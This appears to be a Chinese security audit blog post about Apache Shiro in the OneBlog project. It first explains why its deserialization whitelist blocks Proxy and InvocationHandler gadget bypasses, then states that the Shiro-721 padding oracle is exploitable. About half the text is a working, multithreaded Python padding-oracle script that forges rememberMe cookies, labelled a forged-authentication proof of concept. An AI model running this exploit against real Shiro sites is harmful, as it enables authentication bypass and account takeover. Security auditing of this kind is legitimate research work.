是InvocationHandler实现=false 可序列化=false 在白名单=false
org.springframework.aop.framework.JdkDynamicAopProxy => 类不存在或加载失败
java.lang.reflect.Proxy
是InvocationHandler实现=false 可序列化=true 在白名单=true
实证确认了 handler 绕过的死结。给出完整分析。
handler 绕过 — 审计结论
核心障碍:白名单内不存在 InvocationHandler 实现
实测 JDK 8 所有 InvocationHandler 实现:
| 类 | 是 handler | 可序列化 | 在白名单 |
|---|---|---|---|
sun.reflect.annotation.AnnotationInvocationHandler |
✅ | ✅ | ❌ sun.reflect 开头 |
java.rmi.server.RemoteObjectInvocationHandler |
✅ | ✅ | ❌ java.rmi 开头 |
java.lang.reflect.Proxy |
❌ 不是 | ✅ | ✅ 但在白名单 |
结论:java.lang / java.util / org.apache.shiro.subject.* 白名单内,没有任何一个 InvocationHandler 实现类。 handler 这一环在类名层面就是死路。
Proxy 反序列化的完整链需要三环,全被拦
Proxy(Templates接口, EvilHandler)
│
├─ ① 接口 Templates ──→ resolveProxyClass(未重写,绕过 )
│ 但 Class.forName(iface, false, ...) 不执行代码,无 RCE
│
├─ ② handler EvilHandler ──→ resolveClass(白名单硬检查 )
│ 白名单内无 InvocationHandler 实现 → 必拦
│
└─ ③ 触发器(调用接口方法)──→ AnnotationInvocationHandler 等
sun.reflect / java.beans / org.apache.* → 全被拦
逐条排除 handler 绕过思路
| 绕过思路 | 为何失败 |
|---|---|
| 用白名单内的 handler | 白名单内无 InvocationHandler 实现(已实证) |
| 接口加载触发 RCE | Class.forName(iface, false) 不初始化类;Proxy.getProxyClass 只生成字节码,不执行代码 |
handler 类名伪装成 java.lang.* |
ClassUtils.forName(伪装名) 加载失败(类不存在) |
handler 用 TC_REFERENCE 引用已加载类 |
只能引用本会话已过白名单的类,引入不了新恶意类 |
handler 设 null(TC_NULL) |
反序列化能过,但 h=null,调用接口方法时 NPE,不是 RCE |
| handler 字段类型欺骗 | h 字段声明类型是 InvocationHandler,赋非 handler 对象 → ClassCastException |
| 组合 Proxy + 白名单类拼 handler | Proxy 本身不是 InvocationHandler 实现,无法作为 handler |
最终定论
handler 无法绕过。 Proxy 反序列化链在 OneBlog 白名单下被三重阻断:
- 接口旁路(resolveProxyClass):唯一真实的旁路,但只加载接口类型、不执行任何代码,无法单独 RCE
- handler(resolveClass):白名单内不存在 InvocationHandler 实现,硬拦截
- 触发器类:
AnnotationInvocationHandler、BeanComparator等全部在白名单外,硬拦截
完整攻击面最终结论
| 层 | 状态 |
|---|---|
| Shiro-550(默认 key) | 随机密钥 |
| Shiro-721 padding oracle(加密层) | 可打通(oracle 可区分,中间值可恢复) |
| 反序列化 RCE(白名单层) | 无法绕过(gadget 类、handler、触发器全被拦) |
唯一需要补的加固点是
resolveProxyClass未重写(接口能绕过加载)。但即便补上,也只是堵住一个"理论旁路"——它目前本身就不构成 RCE。真正的安全边界是resolveClass的白名单,这一层是硬的,handler 和所有 gadget 都过不去。
import base64, re, os, time, json
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
URL = "http://127.0.0.1:8085/"
raw = base64.b64decode(open('rememberMe.txt').read().strip())
plaintext = base64.b64decode(open('forge_plain.b64').read().strip())
# padding
pad = 16 - (len(plaintext) % 16)
plaintext = plaintext + bytes([pad]) * pad
blocks = [plaintext[i:i+16] for i in range(0, len(plaintext), 16)]
m = len(blocks)
print(f"明文 {len(plaintext)} 字节 = {m} 块")
session = requests.Session()
def oracle_valid(prefix, block):
data = raw + bytes(prefix) + bytes(block)
cookie = base64.b64encode(data).decode()
session.cookies.clear()
r = session.get(URL, headers={'Cookie': 'rememberMe=' + cookie}, timeout=15)
sc = r.headers.get('Set-Cookie', '')
vals = re.findall(r'rememberMe=([^;]+)', sc)
return any(v != 'deleteMe' for v in vals)
def bust(block, label=""):
block = bytes(block)
D = bytearray(16)
pool = ThreadPoolExecutor(max_workers=8)
for byte_num in range(15, -1, -1):
pad_val = 16 - byte_num
def check(guess):
prefix = bytearray(16)
for k in range(byte_num+1, 16):
prefix[k] = D[k] ^ pad_val
prefix[byte_num] = guess
return guess, oracle_valid(bytes(prefix), block)
futures = [pool.submit(check, g) for g in range(256)]
goods = []
for f in as_completed(futures):
g, ok = f.result()
if ok:
goods.append(g)
if not goods:
raise Exception(f"{label} byte {byte_num} 无解")
D[byte_num] = goods[0] ^ pad_val
print(f" {label} byte{byte_num} D={D[byte_num]:#04x} 候选{len(goods)}", flush=True)
pool.shutdown()
return D
C = [os.urandom(16)] # 初始 C_m
result = bytearray(C[0])
t0 = time.time()
for i in range(m-1, -1, -1):
label = f"[块{i}/{m-1}]"
D_block = bust(C[0], label)
prev = bytes(a ^ b for a, b in zip(D_block, blocks[i]))
C.insert(0, prev)
result = bytes(prev) + bytes(result)
# checkpoint
open(f'checkpoint_{i}.bin','wb').write(bytes(result))
ct = b''.join(C)
cookie = base64.b64encode(ct).decode()
open('forge_cookie.txt','w').write(cookie)
print(f"\n完成! 耗时 {time.time()-t0:.1f}s, cookie长度 {len(cookie)}", flush=True)
伪造身份验证poc


浙公网安备 33010602011771号